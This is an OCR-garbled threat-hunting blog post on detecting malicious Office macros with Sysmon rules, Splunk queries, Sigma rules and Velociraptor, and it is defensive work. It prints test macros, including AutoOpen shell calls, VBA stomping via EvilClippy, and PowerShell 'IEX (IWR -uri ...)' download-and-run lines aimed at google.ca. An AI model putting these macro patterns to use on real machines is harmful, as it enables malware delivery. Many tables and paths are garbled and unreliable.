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Hunting Malicious Macros

1. 1.
Hunting_Malicious Macros

Taking a look at the MITRE ATT&CK page for malicious macros, it's clear that this technique
is a favourite among APT groups.

Microsoft Office is indeed ubiquitous in a corporate office setting and presents defenders with
a very large attack surface.

"Just disable macros" is a great idea, but many critical business processes run on the back
of decades-old macros; for better or for worse.

To get a sense of how widely malicious macros are utilized, take a look at the technique via
MITRE: T1566.001

In this post | will cover detection techniques that provide relatively robust coverage for
detecting malicious macros in your own environment. I'll be using Sysmon to generate the
log data and Splunk to query that data, I'll also highlight some Sigma rules that can help with
Macro detections.

Before | dive in, | need to acknowledge that this work definitely stands on the shoulders of
giants and I'll be referencing their work heavily throughout.

Atomic Red Team

Red Canary have done the defensive world a huge solid and have provided a script that
generates macros for you so that detections can be tested, so let's start there:

Note: Originally these macro tests download other scripts from the Red
Canary repo to do other things with the macro, for the purposes of my
testing, however, I only wanted to test the original macro execution so I
modified these scripts slightly to just call out to Google instead of
running the full blown tests.

We generate our macro, which outputs an Excel file:
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https://blog.pwntario.com/team-posts/antons-posts/hunting-malicious-macros#first
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https://github.com/redcanaryco/atomic-red-team/blob/master/ARTifacts/Initial_Access/generate-macro.ps1
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Now let's take a look at what Sysmon shows us when this macro is executed, using the
SwiftOnSecurity Config
Using this basic Splunk Query:

index=sysmon EventCode=1 Image="Excel*
2

| table Image,Parentimage,CommandLine
Copied!

Gives us these results:

Image * #  Parentimage * #  Commandline *

\Program Files Microsof fice\root 6\EXCEL .EXE Windows\explorer.e; \Program Files Microsof fice\Root 6\EXCEL.EXE" "C:\Users\Anton\Desktop\Macro Te: MacroTest.x1s"

Not very mterestlng the typlcal "Excel has Spawned PowerSheII ora Command Prompt"
detection has failed here, as these macros use techniques which circumvent this particular
detection (More details about this are in the Red Canary Blog post linked above)

If we observe Excel behaviour through something like Procmon, we can see that Excel loads
specific DLLs when a macro is loaded. We can configure Sysmon to look for this type of
behaviour.

Let's enhance our Sysmon config a little bit with the following:
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https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml

<RuleGroup name="" groupRelation="or">

2

<ImagelLoad onmatch="include">

3

<Rule name="Macro Image Load" groupRelation="or">

4

<ImagelLoaded condition="end with">VBE7INTL.DLL</ImageLoaded>
5

<IlmagelLoaded condition="end with">VBE7.DLL</ImagelLoaded>

6

<ImagelLoaded condition="end with">VBEUI.DLL</ImagelLoaded>

7

</Rule>

8

</ImagelLoad>

9

</RuleGroup>

Copied!

With this logic, we should see an event when any of the above DLLs are loaded.

After updating the Sysmon config and running the macro again, we can now do something
like:

1
index=sysmon RuleName="Macro Image Load"
2

| stats values(ImagelLoaded) by Image
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Copied!

Which gives us these results:

Image * #  values(imageloaded) &

ce\root\vfs\ProgramrilesCommonX86\

C:\Program Files (x86)\Microsoft Office\root\0fficel6\EXCEL.EXE C:\Program Files
C:\Program Files reotwfs\ProgramfilesCommon. .
C:\Program Files root\vfs\ProgramrFilesCommon osoft sh UL.DLL

Now we know that a macro was executed by Excel which is a great start. As mentioned
earlier, these macro tests break typical process hierarchy detections, so searching for what
spawned out of Excel directly is not going to work in this case.

All we know so far from a detection standpoint is that Excel executed some kind of macro,
but we don't know what the macro did or whether it was malicious or not. We can, however,
pivot off the data point that we do have and group our events by time to see what was
launched around the time that the Excel macro was executed.

index=sysmon

2

| bin span=5s _time

3

| stats values(RuleName),values(Image),values(CommandLine) by _time
Copied!

We group our events into buckets of 5 second time intervals - my thinking here is the
malicious processes executed via the macro may not spawn directly from Excel, but they
would be grouped together tightly by time.

In this query, | am not querying for a specific event type, | just want to see all Sysmon events
grouped into time buckets, and then | want to take a look at the events surrounding the
"Macro Image Load" rule name.

Let's take a look at the results:

values(RuleName)

2020-05-23 10:18:25

e\root\Of fice16\EXCEL . EXE
e11\v1.0\powershell.exe

[powershell exe Twe -ur

We caught some false positives in our little dragnet, but also found the 'malicious' commands
executed by our macro.

File "~\Documents\payload.bat’ ; -\Documents\payload bat |
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Continuing with the Red Canary macro tests, let's look at option 2 in the tests: Chain
Reaction Download and execute with Excel, wmiprvse

Using the same time bucketing technique, we can see the execution of wmiprvse.exe around
the time that an Excel macro was launched:

#  values(ParentCommandLine) = 7 values(Parentimage) *

yyyyy
IEX (INR -uri €

\conhost
ell.exe TEX (
exe TEX ((IWR -uri 'www.google

If we observe Excel behaviour when launching normally versus launching a macro that loads
wmiprvse.exe, we can see the wbemdisp.dll being loaded, so let's add that to our Sysmon
config as well:

<Rule groupRelation="and" name="Office WMI Image Load">
2

<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office 16\
</Image>

3

<Imageloaded
condition="is">C:\Windows\SysWOW64\wbem\wbemdisp.dll</ImageLoaded>

4
</Rule>
Copied!

| came across this particular detection technique in Samir's fantastic blog post:
https://blog.menasec.net/2019/02/threat-hunting-doc-with-macro-invoking.html

If you are at all interested in Threat Hunting, | highly encourage you to check that blog out
and give Samir a follow

This rule will fire when the wbemdisp.dll is loaded by any executable within the Office16
folder, it can be tuned to be more specific as well.

Here's what the data looks like in Splunk:
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https://twitter.com/SBousseaden
https://blog.menasec.net/2019/02/threat-hunting-doc-with-macro-invoking.html

Image #  Imageloaded

rogran Files (x86)\Mi ft 0ffice\root\OFficel6\EXCEL EX c dows\SySHONG4\wbem\wbendisp. dl1

Now let's take a look at the Red Canary tests number 4 and 5 - Shell and
ShellBrowserWindow. These two methods interact with COM, so we can configure our
Sysmon Config as follows:

1
<Rule groupRelation="and" name="Office COM Image Load - Combase">
2

<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\
</Image>

3

<ImageLoaded condition="is">C:\Windows\SysWOWG64\combase.dll</ImageLoaded>
4

</Rule>

5

<Rule groupRelation="and" name="Office COM Image Load - com|2">

6

<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office 16\
</Image>

7

<ImageLoaded condition="is">C:\Windows\SysWOWG64\coml2.dlI</ImageLoaded>
8

</Rule>

9

<Rule groupRelation="and" name="0Office COM Image Load - comsvc">

10
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<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\
</Image>

1

<ImageLoaded condition="is">C:\Windows\SysWOWG64\comsvcs.dll</ImageLoaded>
12

</Rule>

Copied!

Firing up our macros again and looking at the following Splunk query:

index=sysmon Image=*Excel*

2

| stats values(ImagelLoaded) by Image,RuleName
Copied!

We can see Excel loading the Macro as well as COM DLLs:

Image = #  RuleName + #  values(imageloaded) &

C:\Program Files (x8 Fice16\EXCEL.EXE

C:\Program File: 6\EXCEL.EXE

C:\Program File:

B\EXCEL.EXE

1
1
16\EXCEL.EXE
C:\Program File: 1
1

Cc:\Program Files (x8 Fice16\EXCEL.EXE

Excel 4 Macros

Outflank publishes tons of next-level macro techniques regularly, let's take a look at the
following script which is a Proof of Concept which uses COM to generated an Excel 4 Macro
to load Shellcode via JScript.

A few things stand out as abnormal using this technique, using the data we have already in
our Sysmon config, we can see:

Excel Loading a COM DLL

Excel being launched from a non-standard directory
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https://www.outflank.nl/
https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js

RunPE

| used Clement Labro's implementation of RunPE in my testing, you can grab it here and
read more about it here:

https://itm4n.qgithub.io/vba-runpe-part1/

https://itm4n.qgithub.io/vba-runpe-part2/

Clement describes the technique succinctly:

[RunPE] consists in running code inside the memory of a legit process in order to hide
its actual activity.

To my simpleton brain, if | hear "inside the memory of a legit process" | think of injection, so
let's configure our Sysmon config to look for this, with the following snippet:

1

<RuleGroup name="" groupRelation="or">

2

<ProcessAccess onmatch="include">

3

<Rule groupRelation="and" name="Office Injection via VBA">

4

<Sourcelmage condition="begin with">C:\Program Files (x86)\Microsoft Office\Root\Office16\
</Sourcelmage>

5

<CallTrace condition="contains">\Microsoft Shared\VBA</CallTrace>
6

</Rule>

7

</ProcessAccess>
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https://twitter.com/itm4n
https://github.com/itm4n/VBA-RunPE
https://itm4n.github.io/vba-runpe-part1/
https://itm4n.github.io/vba-runpe-part2/

8
</RuleGroup>

Copied!

Taking a look at the data this produces, we see Word injecting into Word via VBA:

RuleName

Sourcelmage & 7 Targetimage ¢ s
Office C:\Program Files (x86)\Microsoft  C:\Program Files (x86)\Microsoft
Injection  Office\Root\OFficel6\WINWORD.EXE  Office\root\Officel6\WINWORD. EXE
via VBA
Office C:\Program Files (x86)\Microsoft  C:\Program Files (x86)\Microsoft

Injection  Office\Root\Officel6\WINWORD.EXE  Office\root\Office16\WINWORD.EXE
via VBA

0ffice (‘\F\'Egram Files (x86)\Microsoft C‘\Pwngl an Files (x86)\Microsoft

Injection F1ce\Root\OFfice16\WINNORD. EXE fice\root\OfficelG\WINNORD.EXE  OF

via VBA

Putting the pieces together a little bit, we're startlng to get a good idea of what our Offlce

CallTrace *

C:\Windows\SYSTEM32\ntd11.d11+3c584| C: \Windows\SYSTEM32\ntd11.d11+a6fcalC: \Windows\SYSTEM32\ntd11. d11+2448|C; \Windows\System32\wowd. d11+1f46e|C: \Windows\System
Files (x86)\Common Files\Microsoft Shared\VBA\YBA7.1\VBE7.DLL+f189(wow64)|C:\Program Files krsﬁ)\lummcn Files\Microsoft ShE\Ed\\r'Erl\\rEr\-F‘\\\EETELL*?Z‘EH(A\E\\G-‘U\C
0ffice\Root\OFfice6\wwlib, d11+df942d(wows4)

C:\Windows\SYSTEM32\ntd11.d11+3c584| C: \Windows\SYSTEM32\ntd11.d11+a6fcalC: \Windows\SYSTEM32\ntd11. d11+2448| C: \Windows\Sy stem32\wow64.d11+1£52a| C: \Windows\System
Files (x86)\Common Files\Microsoft Shared\VBA\VBAZ.1\VBE7.DLL+f189(wow64)|C:\Program Files [(x86)\Common Files\Hicrosoft Shared\VBA\VBA7.1\VBEJ DLL+72abfwow64)|C
\ £

ows \System3
C:\Program
VBET.DLL*4c

dll+104f8]C: w64, d11+Fced| C: \Window: w64, d11+7123
I'BEI'an\ Files f of tems32.d11+46edc
am Files (x86)\Common Files\Microsoft Shared\VEA

Processes are doing, we can see:

WMI ImageLoads by Office Processes

VBA ImagelLoads by Office Processes

Office Injections via VBA

COM use by Office Processes

Evil Clippy

EvilClippy is a tool created by Outflank that provides functionality to stomp VBA code and
hide macros from the Office GUI, you can grab the tool here:

https://github.com/outflanknl/EvilClippy.

And read more about VBA Stomping here:

https://vbastomp.com/

| want to keep things super simple so I'm using the following "real" VBA code:

Sub AutoOpen()

2

Call Shell("powershell.exe", voNormalFocus)

3

End Sub
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https://github.com/outflanknl/EvilClippy
https://vbastomp.com/

Copied!

To launch a PowerShell Window when | open up my Word doc, but I'm using EvilClippy to
'stomp' the document with the following VBA Code:

Sub AutoOpen()

2

Call Shell("calc.exe", vbNormalFocus)
3

End Sub

Copied!

This is what my document looks like, the VBA code is telling me the macro will launch calc,
but when | Enable Content, the document will launch PowerShell instead, sneaky!

Fake Macro Code:

DU

Home Developer Insert Design Layout References Mailings Review View Help
— @ a— Aa b [EE 7 =
@31 E @ Record Macro {'_‘é} I:—_‘@ Aa ba lad 53 Design Mode EI O I:BE] ‘E
5= Wl 52 a >
@I P i .
Visual Macros Word COM I:‘ Ej I:D B ._ ropemes XML Mapping Restrict | Document
Basic M Macro Security Add-ins Add-ins L_‘ = = Pane Editing Template
Code Add-ins Controls Mapping Protect Templates
(1) SECURITYWARNING Macros have been disabled. | Enable Content
‘5 Microseft Visual Basic for Applications - PowerShellMacro_EvilClippy2 [design] - [NewMacros (Code]] — [m] x
% Eile Edit View |[nset Format Debug Bun  Tools Add-lns  Window Help -8 X
ME- = FN: ) 3 &ﬁ'w @ Lnz coll :
Project - Project il ‘ (General) v| ‘AuloOpen ~
@ = Sub AutoOpen () =
- [23 Microsoft Word Obje A |I
-5 Modules
i gl NewMacros
(-] References v ' Butolpen Macro
< >
Properties - NewMacros EI
NewMacros Module v|
Alphabetic  Categorized Call Shell("calc.exe", vibNormalFocus)
((Mame) |NewMacros
End Sub
v
=I= « >

What the document actually does:
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Home Developer Insert Design Layout References Mailings Review View Help

E‘flz —=] [[@ Record Macro = ] [2§ Design Mode ! “E
s ::QJ ECE.’ tl
Visual Macros Word  COM XML Mapping Restrict | Document
Basic M\ Macro Security Add-ins Add-ins F‘_’ﬁ e Pane Editing Template
Code Add-ins Cantrals Mapping Protect Templates
E¥ Windows PowerShell - m} x

Windows Powershell
Copyright (C) Microsoft Corporation. All rights reserved.

[Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\Anton\Documents:>

While Sysmon can't detect VBA Stomping specifically, our current Sysmon config gives us a
bunch of clues that a macro was executed and that our Word document executed
PowerShell.

Looking at the following Splunk query:

index=sysmon EventCode=10

2

| table Sourcelmage, Targetimage,RuleName

Copied!

We can see our earlier injection Sysmon config snippet being put to work:

Sourcelmage £ Targetimage < s RuleName = s

C:%Program Files (x86)\Microsoft Office\Root\Officel&\WINWORD.EXE C:\Windows\SysWOWG64\WindowsPowerShell\v1.8\powershell.exe office Injection wvia VBA

Putting it together - Covenant

Thus far we've looked at isolated techniques, but how well does our Sysmon configuration
work for a macro that launches a Covenant stager - let's find out.

Covenant is available here: https://github.com/cobbr/Covenant - thank you Ryan!

And | am using the following post to generate my Macro:
https://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.html - Thank you
Chirag!

With everything in place, we can start our Word document and confirm that we see the
callback in Covenant:
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https://github.com/cobbr/Covenant
https://twitter.com/cobbr_io
https://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.html
https://twitter.com/chiragsavla94

@ Dashboard Dashboard

(3 Listeners
% Launchers Grunts

> Grunts
Name UserName Status LastCheckin L Integrity OperatingSystem Process

o 65f8de5664 GruntHTTP DESKTOP-PI3V84F Anton Active 5/24/20 1:56:35 PM Medium Microsoft Windows NT 10.0.18363.0

< Taskings Previous Next
Checking our logs, we see that the VBA Images were loaded, so we know a macro ran, but
not much else, there's no processes spawned from Word since everything happens in
memory. How can we enhance our detections further?

Templates

We know that Covenant is a .NET framework, so we can assume that it needs to load some
type of .NET DLLs at startup.

Let's add the following to our Sysmon config:

1

<Rule groupRelation="and" name="Office .NET Abuse: Assembly DLLs">
2

<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office 16\
</Image>

3

<ImageLoaded condition="begin with">C:\Windows\assembly\</ImagelLoaded>
4

</Rule>

5

<Rule groupRelation="and" name="0Office .NET Abuse: GAC">

6

<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office 16\
</Image>

7

<Imageloaded condition="begin
with">C:\Windows\Microsoft. NET\assembly\GAC_MSIL</ImagelLoaded>

8
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</Rule>

9

<Rule groupRelation="and" name="0Office .NET Abuse: CLR">
10

<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\
</Image>

1

<Imageloaded condition="end with">clr.dll</ImagelLoaded>
12

</Rule>

Copied!

Let's run our macro again and check the logs with the following query:

index=sysmon EventCode=7
2
| stats values(ImagelLoaded) by Image,RuleName

Copied!

Image + e RuleName + e values(imageloaded) + e

C:\Program Files (x86)\Microsoft Macro Image Load
Office\root\0Officel16\WINWORD. EXE

o

:\Program Files (x86)\Micr ffice\root\vfs\ProgramFilesCommonX86\Microsoft Shared\VBA\VBA7.1\1033\VBE7INTL.DLL
:\Program Files (x; ed\VBA\VBA7. 1\VBE7.DLL
:\Program Files (x86) hared\VBA\VBA7. 1\VBEUI.DLL

o

ce\root\vfs\ProgramFilesCommonX86\Microsof

o

ce\root\vfs\ProgramFilesCommonX86\Microsoft

C:\Program Files (x86)\Microsoft 0ffice .NET Abuse: C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5aedf0ef#\6e5bd7c79be8c2a241a1dd84fe108ab3\PresentationFramework. ni.d11

0ffice\root\0fficel15\WINWORD. EXE Assembly DLLs C:\Windows\assembly\N: -30319_32\Presen nCore\47ff34042d04e73c1d45b73dbcBbe776\Presen nCore.ni.dll
C:\Windows\assembly\N .30319_32\System. Configuration\d6ee3b23e4bd762e2b619462a421a44\System. Configuration.ni.dll
C:\Windows\asserbly\NativeImages_v4.0.30319_32\System. Core\95d63deaba688292411233359dF a02e2\ System. Core. ni . dl1
C:\Windows\assembly\NativeImages_v4.0. 9_32\S: .Data\f8a3fbab2afb752c841d87004ef426ea\System. Data. ni.d11
C:\Windows\assembly\N: velmages_v4.0. ystem. Xaml.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xm1\3c3f67b6Tf805d47e68c80083d041fcb\System. Xml. ni.d11
C:\Windows\assembly\N: mages_v4.08.30319_32\5ystem\47d8098623206eb9197e176cF4dadcal \System.ni. d11
C:\Windows\assembly\NativeImages_v4.08.30319_32\WindowsBase\cad4134918dd382754c6019¢5baf 6767 \WindowsBase . ni.d11
C:\Windows\assembly\NativeImages_v4.8.30319_32\mscorlib\48544608ee1424c9c713d99c7a353349\mscorlib. ni. d11

C:\Program Files (x86)\Microsoft 0ffice .NET Abuse: CLR  C:\Windows\Microsoft.NET\Framework\v4.e.30319\clr.d11

Office\root\0fficel6\WINWCRD. EXE

C:\Program Files (x86)\Microsoft Office .NET Abuse: GAC C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Powershell.Editor\v4.0_3..0.0__31bf3856ad364e35\Microsoft.Powershell .Editor.d1l

Office\root\Officel16\WINWORD. EXE C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Workflow.ComponentModel\v4.0_4.0.0.0__31bf3856ad364e35\System. Workflow. ComponentModel . d11

Now you know that a macro was executed and that the Office process executing the macro
loaded the DLLs necessary for some kind of .NET functionality, a great jumping off point for
further investigation.

Check out the Sigma Repo where | contributed a few rules looking for this kind of activity, we
can use uncoder.io to convert the Sigma rule into a Splunk query:
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https://github.com/Neo23x0/sigma/tree/master/rules/windows/sysmon
https://uncoder.io/

Translate

: CLR DLL Loaded Via Office Applications
: d13c43f0-f66b-4279-8b2c-59128677c1786
: experimental Image="*\\outlook.exe") (ImagelLoaded="*\\clr.d11*"})

: Detects CLR DLL being loaded by an Office Product

- https://medium.com/threatpunter/detecting-adversary

-tradecraft-with-image-load-event-logging-and-eql-8de93338cl6
: Antonlovesdnb

: 2020/02/19

- attack.initial access .
- Translating to: Splunk

- attack.t1193

: windows

: sysmon

"*\winword.exe"
" *\powerpnt.exe’
"*\excel.exe"

"*\outlook.exe"

“*\clpr.d11*’

: selection

- Alerts on legitimate macro usage as well, will need to filter
as appropriate

: high

We could also convert Sigma rules to Splunk searches programmatically with this awesome
project by Patrick Bareiss

Bonus Round - Velociraptor

Now that your cool new macro alerts have fired, you'd probably want to take a closer look at
the host.

Let's try that with Velociraptor, we find our host, and collect some macro artifacts:

Collect new artifact

Search for artifacts

macro|
Windows.Applications.OfficeMacros
Windows Registry EnableUnsafeClientMailRules
Windows.Registry.EnabledMacro

Selected Artifacts:

Use "Add" button or double-click to add artifacts to the list.
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https://github.com/P4T12ICK/Sigma2SplunkAlert
https://twitter.com/bareiss_patrick
https://github.com/Velocidex

Now we take a look at the results, and we can see that not only did Velociraptor find our

macros, but it also ripped them open, revealing the actual VBA code:

—
Artfact Collection  Uploaded Files  Reques!
@ @ Show 10 v entries Search
Code 4 ModuleName =~ StreamName = Type = filename
Attribute VB_Name = "Module1” Sub Auto_Open() Call Shelll"cmd exe /c powsrshell exe IEX ( IWR -uri i gaogle ca)', 1) End Sub Moduled Module1 bas € \Users\Anton\DesktapiMacro Tests\MacroTest3 xls
Attribute VB_Name = "Module1” Sub Auto_Open() Const HIDDEN_WINDOW = 0 strComputer =" * Set objWMISsrvice = GetObject('win’ & "mgmts” & "\"
& strComputer & "Woot” & "cimy2") Set objStartup = obYMIService. Get("Win32_" & "Process” & "Startup’) Set abjConfig = objStartup Spawninstance_ . §
objConfig Show\Window = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts-\\" & strComputer & “root” & “\cimv2” & “Win32_" & "Process') Module1 Module1 bas C:\Users\Anton\DesktopiMacro Tests\MacroTest2 xls
objProcess Create "cmd.exe ¢ powershell exe IEX ( IWR -uri ‘wiww google.ca'f’, Null, objConfig, intProcessID End Sub
Attribute VB_Name = "Module1” Sub Auto_Open() Const ShellBrowseriindow = _ "(COBAFDS0-F2A1-11D1-8455-00A0C31F 3880} Set SBW =
te VB_Nam Ao rovs -0 o . C:\Users\Anton\Desktop\Macro
GetObject("new" & ShellBrowseriNindow) SBW Document Appl cmd exe’ exe IWR -uri "www google ca™ -OutFile Module1 Module1 bas e omxle
"0 bat™; ~\D: bat', 'C " Null, 0 End Sub
Attribute VB_Name = "Module1" Sub Auto_Open() Const ShellWindows = _"(9BASST2-FGAB-11CF-A442-00A0CI0ABF 39" Set SW = GelObject{"new:" &
ShellWindows).llem() SW.Document Applicati “emd exe”, e @ IWR uri "wwv.google.ca™ -OulFile Moduled Module1 bas C.\Users\Anton\DesktopMacro TestsiMacroTest.xis
"D bat™; ~1D: bat", "C: Wi ull, 0 End Sub
Attribute VB_Name = “NewMacros"” Sub AutaOpen() ' AutoOpen Macro ** Call Shell"powershell exe”, vbNormalF ocus) End Sub NewMacros NewMacros bas cw Ktop \EvilClippy P doc
Attribute VB_Name = "Shest1" Attribute VB_Base = "0{00020820-0000-0000-C000 " Attribute VB_ = False Atribute
VB_Craatabls = Falss Attribute VB_Predeciaredld = Trus Attributs VB_Exposed = Trus Attribute VB_TemplateDerived = False Attribute VB_Customizable = Shestt Sheet1 cls G:\Users\Anton\DesktapMacro Tests\MacroTest xis
True
Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000 " Attibute VB_ = False Attribute
VB_Creatable = False Attribute VB_PredeciaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = Sheett Sheat1 cls C\Users\Anton\DesktopiMacro Tests\MacroTest2 xls
True
Attribute VB_Name = "Shest1" Attribute VB_Base = "0{00020820-0000-0000-C000 1" Attibute VB_ = False Atribute
VB_Creatable = False Attribute VB_Predeciaredld = True Attribute VB_Exposed = True Attribute VB_TemplateDerved = False Attribute VB_Customizable = Shest! Shest1 cls C\Users\Anton\DesktopiMacro Tests\MacroTest3 xls
True
Attribute VB_Name = "Shest1" Aliribute VB_Base = "0{00020820-0000-0000-C000 " Attibute VB_ = False Attribute C\UsersiAnton DeskioniMacro
VB_Creatable = False Atiibute VB_Predeciaredld = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = Sheet! Shest1 cls . P )
b TestsiMacroTestShellBrowserWVindow.xis
Attribute VB_Name = "ThisDocument” Attribute VB_Base = “1Normal ThisDocument” Attribute VB_GlobalNameSpacs = False Atribute VB_Creatable = ThisDocument  ThsDoeument s o I e
False Atiribute VB_Predeclaredid = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Atiribute VB_Customizable = True HapTEELARRY
While this output is great, our VBA stomped macro keeps it's secrets :)
Sub AutoOpen() "' AutoOpen Macro | Call Shell{calc exe", vbNormalF ocus) End Sub ThisDocument  ThisDocument  cls cwu Ktop\EvilClippy\P , EvilClippy2. doc
Sub AutoOpen() " AutoOpen Macro | Call Shellfcalc. exe”, vbNormalFocus) End Sub NewMacros NewMacros bas cu eskopIEVICIppy\P ,_EvilClippy2.doc

We can also see the output of any Trust Record modifications for further evidence of macro

execution:

——
Artifact Collection ~ Uploaded Files ~ Requests  Results | Log
:
© @ show 10 v entries Search
Document 4 Username Userhive Key LastModified

%USERPROFILE%/Desktop/EvilClippy/PowerShellMacro.docm Anton C:lUsers\AntonINTUSER DAT Office/16. ity Trusted D MTrustRecord 2020-05-24T14:04:262
%USERPROFILE%/Desktop/EvilClippy/PowerShellMacro_EviClippy.doc Anton C:\Users\AntoniNTUSER DAT Office 16. ity Trusted D TrustRecord: 2020-05-24T14:04:26Z
%USERPROFILE%/Desktop/EvilClippy/PowerShelMacro_EvilClippy.docm Anton CilUsers\AntoniNTUSER DAT Officel 16. ity Trusted D TrustRecord: 2020-05-24T14:04:26Z
%USERPROFILE%/Desktop/EvilClippy/PowerShelMacro_EvilClippy2 doc Anton CilUsers\AntoniNTUSER DAT Officel16. ity Trusted D TrustRecord: 2020-05-24T14:04:26Z
%USERPROFILE%/Desktop/Macro%20Tests/Covenant docm Anton C:\Users\AntonINTUSER DAT Office/16. ity Trusted D MMrustRecord: 020-05-24T14:04:262
%USERPROFILE%/Desktop/Macro%20Tests/MacroTest xis Anton C:\Users\AntonINTUSER DAT Officel16.0/E ity Trusted D MrustRecord 2020-05-23T18:46:002
%USERPROFILE%/Desktop/Macro%20Tests/MacroTest2.xls Anton C:lUsers\AntonINTUSER DAT Office/ 16.0/E ity Trusted D MrustRecord: 2020-05-23T18:46:002
%USERPROFILE%/Desktop/Macro%20Tests/MacroTest3 xis Anton C:\Users\AntoniNTUSER DAT Office/ 16.0/E ity Trusted D MrustRecord: 2020-05-23T18:46:00Z
%USERPROFILE%/Desktop/Macro%20Tests/MacroTestShellBrowser\Vindov xis Anton CilUsers\AntoniNTUSER DAT Office/ 16.0/E ity Trusted D MrustRecord: 2020-05-23T18:46:00Z
%USERPROFILE%/Desktop/Macro%20Tests/RunPE docm Anton CilUsers\AntoniNTUSER DAT Officel16. ity Trusted D TrustRecord: 2020-05-24T14:04:26Z

The folks at Outflank made a nice post about trust records here including providing a
Sysmon config snippet to monitor for this kind of activity in real-time, how awesome!

Closing Notes

My aim with this post was to provide some detection ideas for an attack vector that is
commonly utilized by real-world malware and attackers. The Sysmon configuration snippets,
Splunk queries and Sigma rules will undoubtedly generate false positives in a real corporate
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environment and are not a silver bullet for detecting malicious attacker activity via macros.

I'm sure there are bypasses available and used for this stuff, but you have to start
somewhere and at least make attackers work for a foothold in your environment.

More Credits
These resources / people helped me put this post together in one way or another:

https://twitter.com/decalage2
https://github.com/decalage2/oletools/wiki/olevba
https://twitter.com/DissectMalware
http://www.decalage.info/
https://twitter.com/DidierStevens
http://didierstevens.com/
https://twitter.com/OrOneEqualsOne
https://posts.specterops.io/capability-abstraction-fbeaeeb26384
https://twitter.com/cyb3rops
https://twitter.com/Cyb3rWardQOg
https://github.com/hunters-forge
https://twitter.com/SBousseaden
https://twitter.com/c_APT ure
https://github.com/olafhartong/sysmon-modular
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